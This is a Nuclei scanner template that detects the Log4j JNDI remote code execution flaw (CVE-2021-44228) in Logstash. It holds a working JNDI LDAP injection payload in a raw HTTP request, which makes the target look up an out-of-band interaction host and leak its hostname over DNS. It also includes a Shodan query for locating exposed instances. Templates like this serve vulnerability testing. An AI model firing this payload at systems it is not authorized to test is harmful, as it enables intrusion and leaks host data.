id: logstash-log4j-rce

info:
  name: Logstash - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Logstash is susceptible to Log4j JNDI remote code execution. Logstash is a free and open server-side data processing pipeline that ingests data from a multitude of sources, transforms it, and then sends it to your favorite "stash."
  reference:
    - https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: html:"logstash"
  tags: cve,cve2021,rce,jndi,log4j,logstash,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /api/logstash/pipeline/${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}
        Referrer: {{RootURL}}/app/management/ingest/pipelines/
        Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request

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